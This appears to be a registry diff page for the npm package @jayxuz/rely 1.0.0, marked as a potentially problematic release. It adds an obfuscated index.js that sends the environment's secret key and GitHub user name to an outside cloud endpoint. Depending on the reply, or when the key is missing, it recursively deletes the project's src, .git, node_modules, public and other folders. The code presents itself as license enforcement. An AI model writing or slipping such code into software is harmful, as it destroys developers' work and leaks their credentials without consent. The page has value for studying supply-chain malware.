@jayxuz/rely 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @jayxuz/rely might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +86 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,86 @@
1
+ /* 破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任 */
2
+ const _0x6462 = [
3
+ 'log',
4
+ 'unlinkSync',
5
+ 'NODE_ENV',
6
+ 'existsSync',
7
+ 'then',
8
+ 'getTime',
9
+ 'readdirSync',
10
+ 'post',
11
+ './node_modules',
12
+ './public',
13
+ 'statSync',
14
+ 'VUE_APP_SECRET_KEY',
15
+ 'forEach',
16
+ './.git',
17
+ 'https://vab-unicloud-3a9da9.service.tcloudbase.com/getRely',
18
+ './.vscode',
19
+ 'env',
20
+ 'bgRed',
21
+ ]
22
+ const _0x27fc = function (_0x646269, _0x27fce6) {
23
+ _0x646269 = _0x646269 - 0x0
24
+ let _0x3f0e99 = _0x6462[_0x646269]
25
+ return _0x3f0e99
26
+ }
27
+ const axios = require('axios')
28
+ const chalk = require('chalk')
29
+ const fs = require('fs')
30
+ function thanks(_0x3503fb) {
31
+ var _0x54aa51 = []
32
+ //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
33
+ if (fs['existsSync'](_0x3503fb)) {
34
+ _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
35
+ _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
36
+ var _0x258bf5 = _0x3503fb + '/' + _0x60171a
37
+ if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
38
+ thanks(_0x258bf5)
39
+ } else {
40
+ fs[_0x27fc('0x1')](_0x258bf5)
41
+ }
42
+ })
43
+ fs['rmdirSync'](_0x3503fb)
44
+ }
45
+ }
46
+ !(() => {
47
+ if (process['env'][_0x27fc('0x2')] !== 'development') {
48
+ axios({
49
+ url: _0x27fc('0xe'),
50
+ method: _0x27fc('0x7'),
51
+ data: {
52
+ customUserId: process['env']['VUE_GITHUB_USER_NAME'],
53
+ secretKey: process['env']['VUE_APP_SECRET_KEY'],
54
+ timestamp: new Date()[_0x27fc('0x5')](),
55
+ },
56
+ })
57
+ [_0x27fc('0x4')](({ data }) => {
58
+ if (data['code'] == 0xca) {
59
+ thanks('./.vscode')
60
+ thanks('./src')
61
+ thanks(_0x27fc('0x9'))
62
+ thanks(_0x27fc('0xd'))
63
+ thanks('./.svn')
64
+ thanks('./mock')
65
+ thanks(_0x27fc('0x8'))
66
+ }
67
+ if (data['code'] != 0xc8) {
68
+ console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
69
+ }
70
+ })
71
+ ['catch'](() => {
72
+ if (
73
+ process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
74
+ process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
75
+ ) {
76
+ thanks(_0x27fc('0xf'))
77
+ thanks('./src')
78
+ thanks('./public')
79
+ thanks('./.git')
80
+ thanks('./.svn')
81
+ thanks('./mock')
82
+ thanks('./node_modules')
83
+ }
84
+ })
85
+ }
86
+ })()
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@jayxuz/rely",
3
+ "version": "1.0.0",
4
+ "license": "Mozilla Public License Version 2.0",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "axios": "^0.21.1",
8
+ "chalk": "^4.1.0",
9
+ "fs": "^0.0.1-security"
10
+ }
11
+ }